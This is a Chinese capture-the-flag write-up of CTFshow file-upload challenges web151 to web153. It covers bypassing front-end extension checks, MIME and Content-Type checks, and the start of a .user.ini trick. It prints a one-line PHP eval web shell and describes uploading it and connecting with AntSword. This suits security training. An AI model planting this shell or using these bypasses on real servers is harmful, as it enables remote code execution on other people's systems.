大体思路

upload

upload1

主要参考CTFSHOW-文件上传_ctfshow文件上传__Monica_的博客-CSDN博客这篇文章,博主很厉害,受益良多。

web151

只能上传png文件,只是前端过滤,上传<?php @eval($_POST[123]);?>(下文统称evil.php),BP抓包修改后缀即可,最后用蚁剑连接找到flag。

web152

MIME(多用途互联网邮件扩展类型)

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

一、

首先,我们要了解浏览器是如何处理内容的。在浏览器中显示的内容有 HTML、有 XML、有 GIF、还有 Flash ……那么,浏览器是如何区分它们,决定什么内容用什么形式来显示呢?答案是 MIME Type,也就是该资源的媒体类型。

媒体类型通常是通过 HTTP 协议,由 Web 服务器告知浏览器的,更准确地说,是通过 Content-Type 来表示的,例如:

Content-Type: text/HTML

注意,第二行为一个空行,这是必须的,使用这个空行的目的是将MIME信息与真正的数据内容分隔开。

表示内容是 text/HTML 类型,也就是超文本文件。为什么是“text/HTML”而不是“HTML/text”或者别的什么?MIME Type 不是个人指定的,是经过 ietf 组织协商,以 RFC 的形式作为建议的标准发布在网上的,大多数的 Web 服务器和用户代理都会支持这个规范 (顺便说一句,Email 附件的类型也是通过 MIME Type 指定的)。

前端过滤加上MIME检查,151方法就可以过。

这里说的MIME检查实际上就是检查Content-Type,因为我们上传的就是png文件所以MIME检查是正确的,这样才能通过。

常见的Content-Type有

text/html

text/plain

image/gif

image/jpeg

image/png

web153

.user.ini上传漏洞

三条要求:服务器是php,上传目录有php文件,服务器使用xxx模式